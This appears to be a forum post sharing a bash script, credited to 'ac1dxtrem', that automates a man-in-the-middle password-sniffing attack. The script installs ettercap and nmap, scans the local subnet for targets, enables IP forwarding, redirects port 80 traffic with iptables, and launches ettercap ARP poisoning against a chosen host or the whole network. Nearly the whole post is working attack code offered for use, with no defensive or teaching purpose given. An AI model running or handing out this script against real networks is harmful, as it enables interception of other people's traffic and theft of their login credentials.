[Script]Automated script for MITM attack and password sniffing![/Script]

Code
#!/bin/bash

#Program MITM

#Variables

install1=""

proba=0

gateway=""

interface=""

answer=""



#Functions

function INTRO

{

clear

echo "##

#     #

#  Welcome to the MITM Sniffing attack brought to you by    #

#     #

#             -ac1dxtrem     #

#     #

##"

echo

}

function INSTALL-debian

{

    apt-get install ettercap

    apt-get install nmap

}

function INSTALL-redhat

{

    yum install ettercap

    yum install nmap

}     

function Find_Gateway

{

    INTRO

    route -n | grep 'UG[ \t]' | awk '{print $2}'

    echo

    echo "Please confirm your gateway IP address by typing it..."

    read gateway

}    

function Type_gateway

{

    INTRO

    echo "Please type your gateway IP address..."

    read gateway

}

function Find_Target

{

    INTRO

    nmap -sP $gateway/24

    echo

    echo "Here is a list of live targets. Please type the IP address of your target..."

    read target1

}

function Type_Target

{

    INTRO

    echo "Please type the IP address of your target..."

    read target1

}

function Interface1

{

    INTRO

    ifconfig

    echo "Please type your interface? Use the interface that has your IP address listed..."

    read interface

}    



function MITM

{

INTRO

echo "Requirements:

-ettercap

-nmap



If you have these apps, press 'y'. If not, press 'i' to install them."

read install1



INTRO



case $install1 in

  "y" ) echo "Good Job";;

  "i" ) echo "Do you use Debian or RedHat distribution ?( use lowercase letters )"

     read distribution

     case $distribution in

    "redhat" ) INSTALL-redhat;;    

    "debian" ) INSTALL-debian;;

       esac

       ;;

esac



INTRO



echo "Welcome to the target sellection part. Pres any key to continue..."

read



INTRO



echo "Do you like to sniff the whole network or a single target only ? Type whole/single?"

read target



INTRO



echo "Do you know your gateway IP address ? y/n?"

read answer

case $answer in

    "y") Type_gateway;;

    "n") Find_Gateway;;

esac



case $target in

    "whole") target1=""

    ;;

    "single") INTRO 

            echo "Do you know the IP address of your target ? y/n ?"

            read answer



            case $answer in

              "y") Type_Target;;

              "n") Find_Target;;

            esac

    ;;

esac 



Interface1



iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000



echo 1 > /proc/sys/net/ipv4/ip_forward



INTRO



ettercap -T -i $interface -q -M arp:remote /$gateway/ /$target1/



}



MITM